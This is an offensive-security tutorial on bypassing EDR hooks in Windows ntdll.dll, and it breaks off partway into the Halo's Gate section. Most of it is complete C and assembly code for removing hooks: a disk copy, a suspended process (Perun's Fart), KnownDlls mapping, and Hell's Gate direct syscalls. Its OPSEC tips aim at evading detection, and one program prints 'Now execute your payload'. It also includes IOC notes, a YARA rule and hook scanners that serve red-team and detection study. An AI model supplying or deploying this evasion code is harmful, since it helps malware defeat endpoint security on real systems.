Legend:
[HOOK]= Hooking mechanism |[UNHOOK]= Unhooking technique |[SYSCALL]= Syscall method |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[IOC]= Indicator of Compromise
1. Why EDRs Hook NTDLL
What it means: Every Windows API call eventually lands in ntdll.dll before crossing into the kernel. EDR/AV vendors exploit this by planting hooks in ntdll's exported functions to intercept, inspect, and potentially block calls before they reach the kernel.
The call chain (unhooked):
Your code
└─ Win32 API (kernel32.dll / kernelbase.dll)
└─ NT Native API (ntdll.dll) ← EDR targets this layer
└─ syscall instruction
└─ Windows Kernel (ring 0)
Why ntdll specifically?
High-level APIs (CreateRemoteThread, VirtualAllocEx, WriteProcessMemory)
└─ These are wrappers — they all funnel into ntdll:
├─ CreateRemoteThread → NtCreateThreadEx
├─ VirtualAllocEx → NtAllocateVirtualMemory
├─ WriteProcessMemory → NtWriteVirtualMemory
└─ OpenProcess → NtOpenProcess
├─ Hooking ntdll = monitoring ALL of the above from ONE location
├─ No matter what API a malware calls, it ends up in ntdll
└─ ntdll is the last userland stop before the kernel syscall
Historical context — why userland hooks?
Before 2005 (Vista):
EDRs hooked the SSDT (System Service Descriptor Table) in the kernel
└─ Could intercept ALL syscalls system-wide
After 2005 (PatchGuard / KPP introduced):
Microsoft added Kernel Patch Protection (PatchGuard)
└─ Kernel modification → BSOD
└─ EDRs forced to move to userland hooking in ntdll
Modern EDR strategy:
├─ Inject own DLL into every new process (via AppInit_DLLs or callbacks)
├─ Overwrite ntdll function prologues with JMP to EDR monitoring code
└─ EDR DLL runs in same process, intercepts calls before they reach syscall
Which functions EDRs hook most:
| Category | Functions Most Commonly Hooked | Detection Purpose |
|---|---|---|
| Memory Ops | NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory |
Injection detection |
| Process/Thread | NtCreateProcess, NtCreateThreadEx, NtOpenProcess |
Process creation monitoring |
| File System | NtCreateFile, NtWriteFile, NtDeleteFile |
Payload drop detection |
| Registry | NtSetValueKey, NtCreateKey, NtDeleteKey |
Persistence detection |
| Object | NtOpenSection, NtMapViewOfSection, NtUnmapViewOfSection |
PE loading monitoring |
| Networking | NtDeviceIoControlFile |
Network connection monitoring |
[OPSEC] Unhooking is sometimes noisier than just using direct syscalls. The act of unhooking itself is an IOC. Understand WHAT you need and bypass only that.
2. How Userland Hooks Work
What it means: When an EDR injects its DLL into your process, it walks ntdll's exports and patches the first bytes of each target function with a JMP instruction that redirects execution to the EDR's inspection code.
2.1 Anatomy of an Unhooked Stub
Before hooking, a typical NtAllocateVirtualMemory stub in ntdll looks like:
; Unhooked NtAllocateVirtualMemory stub (Windows 10/11 x64)
4C 8B D1 mov r10, rcx ; copy RCX → R10 (syscall convention)
B8 18 00 00 00 mov eax, 0x18 ; SSN = 0x18 (syscall number)
F6 04 25 ... test byte [...] ; kernel check (some builds)
0F 05 syscall ; ring 3 → ring 0
C3 ret ; return to caller
2.2 After EDR Hooks It
; Hooked NtAllocateVirtualMemory — first bytes patched
E9 AB CD EF 01 jmp 0x7FFE1234ABCD ; ← HOOK: absolute JMP to EDR DLL
00 00 00 00 00 (remaining original bytes overwritten or shifted)
...
; Execution goes to EDR code:
; ├─ EDR inspects parameters (what buffer? what size?)
; ├─ EDR checks context (caller stack, calling module, etc.)
; ├─ Decision: allow or block
; └─ If allow: runs trampoline → original stub code → syscall
2.3 Hook Types EDRs Use
1. E9 Relative JMP (5-byte hook) — most common
E9 xx xx xx xx → jmp rel32
Target: EDR function, 5 bytes patched at stub start
2. FF 25 Indirect JMP (6-byte hook) — absolute
FF 25 00 00 00 00 → jmp [rip+0] (+ 8-byte pointer after)
Used when EDR is far from ntdll in virtual address space
3. CC INT3 Breakpoint (1-byte hook) — hardware-assisted
CC → int3
Trap handler → EDR code
Stealthy: only 1 byte changed
4. MOV RAX + JMP RAX (12-byte hook) — unconditional absolute
48 B8 xx xx xx xx xx xx xx xx → mov rax, <absolute_addr>
FF E0 → jmp rax
[DETECT] Spotting hooks manually: Load ntdll.dll in x64dbg → Symbols → ntdll.dll → Find an Nt* function → If the first instruction is a JMP pointing outside ntdll's module range → it's hooked.
2.4 The EDR Trampoline
Original code: [NtCreateThreadEx] → JMP EDR_hook
↓
EDR DLL code: inspect args, check context, log telemetry
↓ (if allow)
Trampoline: original overwritten bytes (5 bytes saved)
+ JMP back to NtCreateThreadEx+5
↓
syscall → kernel
3. Detecting If a Function Is Hooked
What it means: Before unhooking, you need to confirm a hook exists. You do this by comparing the in-memory bytes of an Nt* function against what they SHOULD look like (from a clean disk copy or known patterns).
3.1 Manual Check Logic
// Check if a function is hooked by inspecting its first bytes
#include <Windows.h>
#include <stdio.h>
BOOL IsFunctionHooked(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
BYTE* funcAddr = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!funcAddr) return FALSE;
// Unhooked ntdll Nt* stubs start with:
// 4C 8B D1 = mov r10, rcx
// B8 = mov eax, <SSN>
// First byte 0x4C = clean stub
// First byte 0xE9 = relative JMP → hooked
// First byte 0xFF = indirect JMP → hooked
// First byte 0xCC = INT3 breakpoint → hooked
printf("[*] %s first bytes: %02X %02X %02X %02X %02X\n",
funcName,
funcAddr[0], funcAddr[1], funcAddr[2], funcAddr[3], funcAddr[4]);
if (funcAddr[0] == 0xE9) {
printf("[!] %s is hooked! (E9 JMP rel32 at start)\n", funcName);
return TRUE;
}
if (funcAddr[0] == 0xFF && funcAddr[1] == 0x25) {
printf("[!] %s is hooked! (FF 25 indirect JMP)\n", funcName);
return TRUE;
}
if (funcAddr[0] == 0xCC) {
printf("[!] %s is hooked! (CC INT3 breakpoint)\n", funcName);
return TRUE;
}
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1) {
printf("[+] %s appears clean (mov r10, rcx prologue intact)\n", funcName);
return FALSE;
}
printf("[?] %s has unknown prologue — may be hooked\n", funcName);
return FALSE;
}
int main() {
const char* targets[] = {
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtWriteVirtualMemory",
"NtOpenProcess",
NULL
};
for (int i = 0; targets[i]; i++) {
IsFunctionHooked(targets[i]);
}
return 0;
}
3.2 Enumerate All Hooked Exports (Full Scan)
// Scan ALL ntdll exports and list which ones are hooked
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
void ScanNtdllHooks() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* base = (BYTE*)hNtdll;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)(base + exp->AddressOfNames);
DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
WORD* ordinals = (WORD*) (base + exp->AddressOfNameOrdinals);
printf("[*] Scanning ntdll.dll exports for hooks...\n\n");
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)(base + names[i]);
// Only scan Nt* and Zw* functions (syscall stubs)
if (name[0] != 'N' && name[0] != 'Z') continue;
if (name[1] != 't' && name[1] != 'w') continue;
BYTE* fn = base + funcs[ordinals[i]];
if (fn[0] == 0xE9 || (fn[0] == 0xFF && fn[1] == 0x25) || fn[0] == 0xCC) {
printf("[HOOKED] %-45s first bytes: %02X %02X %02X %02X %02X\n",
name, fn[0], fn[1], fn[2], fn[3], fn[4]);
}
}
printf("\n[*] Scan complete.\n");
}
int main() {
ScanNtdllHooks();
return 0;
}
[DETECT] Tools for this: PE-sieve, Moneta, Get-InjectedThread (PS), HookFinder (GitHub: fin3ss3g0d)
4. Technique 1 — Fresh Copy from Disk (File Mapping)
What it means: Load a second, unhooked copy of ntdll.dll directly from disk using CreateFileMapping + MapViewOfFile. Then find the .text section in both copies and overwrite the hooked in-memory .text with the clean disk copy. Since the disk file is never touched by the EDR (EDR only hooks in-memory), the file on disk is always clean.
4.1 How It Works
Step 1: Get base address of in-memory (hooked) ntdll.dll
Step 2: Open C:\Windows\System32\ntdll.dll from disk
Step 3: CreateFileMapping + MapViewOfFile → get clean copy in memory
Step 4: Parse PE headers of BOTH copies → find .text section RVA + size
Step 5: VirtualProtect → change protection of hooked .text → RWX
Step 6: memcpy → copy clean .text bytes over hooked .text
Step 7: VirtualProtect → restore original protection (RX)
Step 8: Clean up handles, unmap the disk copy
4.2 Full C Implementation
// ntdll_unhook_disk.c — Unhook NTDLL from a fresh disk copy
// Reference: ired.team
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
BOOL UnhookNtdllFromDisk() {
HANDLE hProcess = GetCurrentProcess();
MODULEINFO mi = {0};
// ── Step 1: Get the hooked ntdll base address ──────────────────────
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
if (!ntdllModule) {
printf("[-] Failed to get ntdll handle\n");
return FALSE;
}
GetModuleInformation(hProcess, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = mi.lpBaseOfDll;
printf("[*] Hooked ntdll base: 0x%p\n", ntdllBase);
// ── Step 2: Open ntdll.dll from disk ──────────────────────────────
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ntdll.dll from disk. Error: %lu\n", GetLastError());
return FALSE;
}
// ── Step 3: Create file mapping and map it ─────────────────────────
// SEC_IMAGE ensures the PE is mapped correctly (with relocations etc.)
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (!hMapping) {
printf("[-] CreateFileMapping failed. Error: %lu\n", GetLastError());
CloseHandle(hFile);
return FALSE;
}
LPVOID ntdllMapped = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!ntdllMapped) {
printf("[-] MapViewOfFile failed. Error: %lu\n", GetLastError());
CloseHandle(hMapping);
CloseHandle(hFile);
return FALSE;
}
printf("[*] Clean ntdll mapped at: 0x%p\n", ntdllMapped);
// ── Step 4: Walk PE headers to find .text section ──────────────────
PIMAGE_DOS_HEADER hookedDos = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDos->e_lfanew);
BOOL unhooked = FALSE;
for (WORD i = 0; i < hookedNt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)(
(DWORD_PTR)IMAGE_FIRST_SECTION(hookedNt) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)
);
// We only care about .text (contains the syscall stubs)
if (strcmp((char*)section->Name, ".text") != 0) continue;
LPVOID hookedText = (LPVOID)((DWORD_PTR)ntdllBase + section->VirtualAddress);
LPVOID cleanText = (LPVOID)((DWORD_PTR)ntdllMapped + section->VirtualAddress);
SIZE_T textSize = section->Misc.VirtualSize;
printf("[*] .text section at: 0x%p, size: 0x%llX\n", hookedText, (ULONGLONG)textSize);
// ── Step 5: Change protection → RWX ───────────────────────────
DWORD oldProtection = 0;
if (!VirtualProtect(hookedText, textSize, PAGE_EXECUTE_READWRITE, &oldProtection)) {
printf("[-] VirtualProtect (RWX) failed. Error: %lu\n", GetLastError());
break;
}
// ── Step 6: Copy clean bytes over hooked bytes ─────────────────
memcpy(hookedText, cleanText, textSize);
printf("[+] Copied clean .text section over hooked ntdll!\n");
// ── Step 7: Restore original memory protection ─────────────────
VirtualProtect(hookedText, textSize, oldProtection, &oldProtection);
printf("[+] Restored memory protection: 0x%08lX\n", oldProtection);
unhooked = TRUE;
break;
}
// ── Step 8: Cleanup ────────────────────────────────────────────────
UnmapViewOfFile(ntdllMapped);
CloseHandle(hMapping);
CloseHandle(hFile);
CloseHandle(hProcess);
if (unhooked) {
printf("[+] ntdll.dll successfully unhooked!\n");
}
return unhooked;
}
int main() {
printf("[*] Starting NTDLL unhooking (disk method)...\n\n");
if (UnhookNtdllFromDisk()) {
printf("\n[+] Success! EDR hooks removed.\n");
printf("[*] Now execute your payload...\n");
} else {
printf("\n[-] Unhooking failed.\n");
}
return 0;
}
4.3 Compile
# MSVC
cl.exe ntdll_unhook_disk.c /Fe:unhook_disk.exe /link psapi.lib
# MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc ntdll_unhook_disk.c -o unhook_disk.exe -lpsapi
# Build flags for production (strip debug info)
cl.exe ntdll_unhook_disk.c /Fe:unhook_disk.exe /link psapi.lib /SUBSYSTEM:WINDOWS /ENTRY:mainCRTStartup
[IOC] Detectable by: Two ntdll modules loaded simultaneously (second one from disk), VirtualProtect call on ntdll's .text section changing it to RWX, LoadLibrary/CreateFileMapping of ntdll path. Moderate detection risk.
[OPSEC] Note on relocations: ntdll.dll doesn't have relocations in its .text section that would matter for copying, but other DLLs might. For ntdll specifically this approach is safe.
5. Technique 2 — Perun's Fart (Suspended Process)
What it means: Instead of reading from disk (which creates CreateFile telemetry), spawn a benign process in suspended state (e.g., notepad.exe, calc.exe, svchost.exe). The suspended process has a pristine, not-yet-hooked copy of ntdll.dll in memory because the EDR hasn't had time to inject and hook it yet. Copy the clean .text section from the suspended process into your current process's ntdll, then terminate the suspended process.
5.1 Why the Suspended Process is Clean
Process creation flow:
1. CreateProcess() called
2. Kernel creates process (loads ntdll.dll cleanly)
3. Process starts in SUSPENDED state
← We read clean ntdll HERE, before EDR injects
4. EDR DLL loader notification fires (PsSetLoadImageNotifyRoutine)
5. EDR injects its monitoring DLL into the new process
6. EDR hooks ntdll in the new process
7. Process resumes
A suspended process = ntdll loaded, but EDR not yet injected
5.2 Full C Implementation
// ntdll_unhook_perunsfart.c — Perun's Fart technique
// Spawn suspended process → steal clean ntdll → terminate it
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
#include <tlhelp32.h>
// Get ntdll base in a remote process by scanning its module list
LPVOID GetNtdllBaseRemote(HANDLE hProcess) {
HMODULE hMods[1024];
DWORD cbNeeded;
if (!EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
return NULL;
}
char modName[MAX_PATH];
for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
if (GetModuleFileNameExA(hProcess, hMods[i], modName, sizeof(modName))) {
if (strstr(modName, "ntdll.dll")) {
return (LPVOID)hMods[i];
}
}
}
return NULL;
}
BOOL UnhookNtdllPerunsFart() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// ── Step 1: Create suspended process ──────────────────────────────
// Use a benign process that's always present
// notepad.exe, calc.exe, svchost.exe are common choices
const char* targetProcess = "C:\\Windows\\System32\\notepad.exe";
if (!CreateProcessA(
targetProcess,
NULL,
NULL, NULL,
FALSE,
CREATE_SUSPENDED, // ← Key: suspended before EDR can hook it
NULL, NULL,
&si, &pi)) {
printf("[-] CreateProcess failed. Error: %lu\n", GetLastError());
return FALSE;
}
printf("[*] Spawned suspended process: notepad.exe (PID: %lu)\n", pi.dwProcessId);
// Brief sleep — ensure ntdll is loaded in suspended process
// In most cases this isn't needed, but good practice
Sleep(100);
// ── Step 2: Get ntdll base in suspended process ────────────────────
LPVOID remoteNtdllBase = GetNtdllBaseRemote(pi.hProcess);
if (!remoteNtdllBase) {
printf("[-] Could not find ntdll in suspended process\n");
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[*] Remote (clean) ntdll base: 0x%p\n", remoteNtdllBase);
// ── Step 3: Read ntdll headers from suspended process ──────────────
IMAGE_DOS_HEADER remoteDos = {0};
IMAGE_NT_HEADERS remoteNt = {0};
ReadProcessMemory(pi.hProcess, remoteNtdllBase, &remoteDos, sizeof(remoteDos), NULL);
ReadProcessMemory(pi.hProcess,
(LPVOID)((DWORD_PTR)remoteNtdllBase + remoteDos.e_lfanew),
&remoteNt, sizeof(remoteNt), NULL);
// ── Step 4: Find .text section in remote ntdll ─────────────────────
DWORD_PTR sectionAddr = (DWORD_PTR)remoteNtdllBase
+ remoteDos.e_lfanew
+ sizeof(IMAGE_NT_HEADERS);
LPVOID remoteTextVA = NULL;
SIZE_T remoteTextSz = 0;
DWORD localTextRVA = 0;
for (WORD i = 0; i < remoteNt.FileHeader.NumberOfSections; i++) {
IMAGE_SECTION_HEADER section = {0};
ReadProcessMemory(pi.hProcess,
(LPVOID)(sectionAddr + i * IMAGE_SIZEOF_SECTION_HEADER),
§ion, sizeof(section), NULL);
if (strcmp((char*)section.Name, ".text") == 0) {
remoteTextVA = (LPVOID)((DWORD_PTR)remoteNtdllBase + section.VirtualAddress);
remoteTextSz = section.Misc.VirtualSize;
localTextRVA = section.VirtualAddress;
printf("[*] Found .text in remote process: 0x%p (size: 0x%llX)\n",
remoteTextVA, (ULONGLONG)remoteTextSz);
break;
}
}
if (!remoteTextVA) {
printf("[-] Could not find .text section in remote process\n");
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
// ── Step 5: Allocate buffer and read clean .text from remote ───────
LPVOID cleanTextBuf = VirtualAlloc(NULL, remoteTextSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!cleanTextBuf) {
printf("[-] Failed to allocate buffer for clean text section\n");
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
SIZE_T bytesRead = 0;
ReadProcessMemory(pi.hProcess, remoteTextVA, cleanTextBuf, remoteTextSz, &bytesRead);
printf("[*] Read %llu bytes of clean .text from suspended process\n", (ULONGLONG)bytesRead);
// ── Step 6: Terminate suspended process (no longer needed) ─────────
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
printf("[*] Suspended process terminated\n");
// ── Step 7: Get local (hooked) ntdll .text and overwrite it ────────
HMODULE localNtdll = GetModuleHandleA("ntdll.dll");
LPVOID hookedTextVA = (LPVOID)((DWORD_PTR)localNtdll + localTextRVA);
DWORD oldProtection = 0;
VirtualProtect(hookedTextVA, remoteTextSz, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy(hookedTextVA, cleanTextBuf, remoteTextSz);
VirtualProtect(hookedTextVA, remoteTextSz, oldProtection, &oldProtection);
// ── Step 8: Free the buffer ────────────────────────────────────────
VirtualFree(cleanTextBuf, 0, MEM_RELEASE);
printf("[+] Perun's Fart complete — ntdll unhooked!\n");
return TRUE;
}
int main() {
printf("[*] NTDLL Unhooking — Perun's Fart Technique\n\n");
UnhookNtdllPerunsFart();
return 0;
}
5.3 YARA Detection Rule (Defensive)
// Detection rule for Perun's Fart technique (from red team research)
rule PerunsFart_Unhooking {
meta:
description = "Detects Perun's Fart ntdll unhooking technique"
author = "Red Team Research"
reference = "https://lrqa.com/en/cyber-labs/"
strings:
$s1 = "ntdll.dll" ascii wide
$s2 = "VirtualProtect" ascii
$s3 = ".text" ascii
$syscall_opcode = { 0F 05 C3 } // syscall; ret
$int3_breakpoint = { CC CC CC } // INT3 filler
condition:
uint16(0) == 0x5A4D // MZ header
and $s1 and $s2 and $s3
and ($syscall_opcode or $int3_breakpoint)
}
[OPSEC] Detection risk: Process creation events are logged. Spawning notepad.exe then immediately killing it is suspicious. Prefer svchost.exe or a process matching your target environment. The ReadProcessMemory call on a freshly-spawned process also generates Sysmon Event ID 10 (ProcessAccess).
[OPSEC] Better choices for target process: C:\Windows\System32\svchost.exe -k netsvcs or processes already running on the target (use OpenProcess on an existing PID instead of spawning a new one).
6. Technique 3 — KnownDlls Section Handle (NtOpenSection)
What it means: Windows maintains a special object directory at \KnownDlls\ that contains pre-loaded, mapped copies of critical system DLLs. These are used during process creation to avoid re-reading DLLs from disk. Crucially, the DLLs in \KnownDlls\ are never hooked by EDRs because they're kernel-managed section objects. Using NtOpenSection to access \KnownDlls\ntdll.dll gives you a pristine, hook-free copy — no disk I/O, no new process, no CreateFile.
6.1 Why KnownDlls Is Clean
\KnownDlls\ object directory:
├─ Populated at system boot by SMSS.exe
├─ Contains section objects for kernel32.dll, ntdll.dll, etc.
├─ These are shared memory-mapped sections, read-only
├─ EDR cannot inject hooks into the section object itself
└─ When you open the section, you get the original OS copy
Advantage over disk read:
├─ No CreateFile() → no file I/O telemetry
├─ No SEC_IMAGE mapping needed
├─ Faster (already in memory as a section object)
└─ Works even if ntdll.dll on disk is replaced/modified
6.2 Full C Implementation
// ntdll_unhook_knowndlls.c — Unhook from \KnownDlls\ directory
// Cleaner: no file I/O, no new process
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
// NtOpenSection / RtlInitUnicodeString prototypes
typedef NTSTATUS (NTAPI *fpNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (NTAPI *fpRtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
BOOL UnhookNtdllKnownDlls() {
// ── Step 1: Resolve functions from ntdll (still accessible even if hooked
// because we're not calling the hooked Nt* wrapper here) ─────
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
fpNtOpenSection NtOpenSection = (fpNtOpenSection)
GetProcAddress(hNtdll, "NtOpenSection");
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)
GetProcAddress(hNtdll, "RtlInitUnicodeString");
if (!NtOpenSection || !RtlInitUnicodeString) {
printf("[-] Failed to resolve native API functions\n");
return FALSE;
}
// ── Step 2: Open \KnownDlls\ntdll.dll section object ──────────────
UNICODE_STRING usDllName;
WCHAR dllPath[] = L"\\KnownDlls\\ntdll.dll";
RtlInitUnicodeString(&usDllName, dllPath);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, &usDllName, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hSection = NULL;
NTSTATUS status = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa);
if (!NT_SUCCESS(status)) {
printf("[-] NtOpenSection failed: 0x%08lX\n", status);
return FALSE;
}
printf("[*] Opened \\KnownDlls\\ntdll.dll section: 0x%p\n", hSection);
// ── Step 3: Map the clean section into our process ─────────────────
LPVOID cleanNtdll = NULL;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&cleanNtdll,
0, 0, NULL,
&viewSize,
ViewShare,
0,
PAGE_READONLY
);
if (!NT_SUCCESS(status)) {
printf("[-] NtMapViewOfSection failed: 0x%08lX\n", status);
CloseHandle(hSection);
return FALSE;
}
printf("[*] Clean ntdll mapped from KnownDlls at: 0x%p\n", cleanNtdll);
// ── Step 4: Find .text section in BOTH ntdll copies ────────────────
LPVOID localBase = (LPVOID)GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER cleanDos = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS cleanNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)cleanNtdll + cleanDos->e_lfanew);
LPVOID hookedText = NULL;
LPVOID cleanText = NULL;
SIZE_T textSize = 0;
for (WORD i = 0; i < cleanNt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)(
(DWORD_PTR)IMAGE_FIRST_SECTION(cleanNt) + i * IMAGE_SIZEOF_SECTION_HEADER
);
if (strcmp((char*)sec->Name, ".text") == 0) {
hookedText = (LPVOID)((DWORD_PTR)localBase + sec->VirtualAddress);
cleanText = (LPVOID)((DWORD_PTR)cleanNtdll + sec->VirtualAddress);
textSize = sec->Misc.VirtualSize;
printf("[*] .text: local=0x%p clean=0x%p size=0x%llX\n",
hookedText, cleanText, (ULONGLONG)textSize);
break;
}
}
if (!hookedText) {
printf("[-] .text section not found\n");
NtUnmapViewOfSection(GetCurrentProcess(), cleanNtdll);
CloseHandle(hSection);
return FALSE;
}
// ── Step 5: Overwrite hooked .text with clean copy ─────────────────
DWORD oldProt = 0;
VirtualProtect(hookedText, textSize, PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(hookedText, cleanText, textSize);
VirtualProtect(hookedText, textSize, oldProt, &oldProt);
printf("[+] ntdll unhooked via KnownDlls!\n");
// ── Step 6: Cleanup ────────────────────────────────────────────────
NtUnmapViewOfSection(GetCurrentProcess(), cleanNtdll);
CloseHandle(hSection);
return TRUE;
}
int main() {
printf("[*] NTDLL Unhooking — KnownDlls Technique\n\n");
UnhookNtdllKnownDlls();
return 0;
}
[OPSEC] Lowest I/O noise of the unhooking techniques — no disk access, no process creation. Still generates an NtOpenSection call on \KnownDlls\ which some EDRs monitor.
[IOC] Detection signals: NtOpenSection with \KnownDlls\ntdll.dll object path, NtMapViewOfSection into current process, followed by VirtualProtect on ntdll's .text section.
7. Technique 4 — Direct Syscalls (Hell's Gate)
What it means: Instead of calling ntdll.dll at all, you bypass it entirely by putting the syscall instruction directly in your code. You need the System Service Number (SSN) — a number the kernel uses to identify which syscall to run. Hell's Gate resolves the SSN dynamically at runtime by reading it from the ntdll stub (mov eax, <SSN> opcode = bytes B8 xx 00 00 00).
7.1 Understanding the SSN
NtAllocateVirtualMemory stub (unhooked):
4C 8B D1 mov r10, rcx ; save RCX
B8 18 00 00 00 mov eax, 0x18 ; ← SSN = 0x18 for this function
0F 05 syscall
C3 ret
SSN byte location: offset 4 from stub start (after the 4C 8B D1 B8)
Read: *(DWORD*)(stub_addr + 4) → SSN value
SSN values vary between Windows versions!
NtAllocateVirtualMemory:
Windows 10 1507: 0x0015
Windows 10 21H2: 0x0018
Windows 11 22H2: 0x0018
→ Always resolve at runtime, NEVER hardcode
7.2 Hell's Gate SSN Resolution (C)
// hells_gate.c — Dynamically resolve SSN from ntdll stub
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
DWORD GetSSN(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* stub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!stub) {
printf("[-] Function %s not found\n", funcName);
return 0xFFFFFFFF;
}
// Stub pattern: 4C 8B D1 B8 [SSN lo] [SSN hi] 00 00 0F 05 C3
// SSN is at offset 4 (after the 4-byte mov r10, rcx + mov eax opcode byte)
// Check first 3 bytes = clean prologue
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
// Bytes 4-5 are SSN (little-endian WORD, upper 2 bytes = 00 00)
DWORD ssn = *(DWORD*)(stub + 4);
printf("[+] %-45s SSN: 0x%04lX\n", funcName, ssn);
return ssn;
}
// If stub is hooked (starts with E9 JMP etc.) — Hell's Gate fails
printf("[!] %-45s appears HOOKED (first bytes: %02X %02X %02X)\n",
funcName, stub[0], stub[1], stub[2]);
return 0xFFFFFFFF;
}
int main() {
printf("[*] Hell's Gate — SSN Resolution\n\n");
GetSSN("NtAllocateVirtualMemory");
GetSSN("NtProtectVirtualMemory");
GetSSN("NtCreateThreadEx");
GetSSN("NtWriteVirtualMemory");
GetSSN("NtOpenProcess");
GetSSN("NtCreateFile");
return 0;
}
7.3 Direct Syscall Invocation (x64 MASM)
; direct_syscall.asm — Direct syscall stub for x64
; Assemble: ml64.exe /c direct_syscall.asm
.code
; Direct syscall: caller sets eax = SSN before calling
; The calling convention mirrors ntdll stub behavior
NtAllocateVirtualMemory_Direct PROC
mov r10, rcx ; syscall calling convention: RCX → R10
mov eax, 18h ; ← SSN hardcoded here (bad for portability)
syscall ; ring 3 → ring 0 directly, bypasses ntdll hooks
ret
NtAllocateVirtualMemory_Direct ENDP
; Generic direct syscall: pass SSN in EAX externally
GenericSyscall PROC
mov r10, rcx
; eax already set by caller via SetSSN (see C wrapper below)
syscall
ret
GenericSyscall ENDP
END
// Direct syscall C wrapper
// Set SSN externally, then call the ASM stub
extern NTSTATUS NtAllocateVirtualMemory_Direct(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Usage:
PVOID addr = NULL;
SIZE_T size = 0x1000;
NTSTATUS status = NtAllocateVirtualMemory_Direct(
GetCurrentProcess(),
&addr,
0,
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
[OPSEC] Weakness of direct syscalls: The syscall instruction executes from YOUR module's memory space, not from ntdll. Modern EDRs check the call stack — if syscall originates from non-ntdll memory (an RWX or unbacked region), it's flagged. This is a call stack anomaly detection.
[IOC] Detection: Stack unwinding shows syscall return address not in ntdll address range. Tools: ThreadCheck, MDE call stack analysis, Hunt-Sleeping-Beacons.
8. Technique 5 — Halo's Gate (Hook-Aware SSN)
What it means: Hell's Gate fails when the target stub is hooked (first bytes overwritten with E9 JMP). Halo's Gate extends Hell's Gate by scanning neighboring stubs (functions adjacent in memory) to calculate the SSN of the hooked function by offset. Since ntdll exports are sorted by address and SSNs are sequential, if stub N has SSN 0x18, stub N-1 has SSN 0x17.
8.1 How Neighbor Scanning Works
All Nt*/Zw* exports sorted by Virtual Address:
VA order: NtAccessCheck, NtWorkerFactoryWorkerReady, ..., NtAllocateVirtualMemory
SSN order: 0x00, 0x01, ..., 0x18
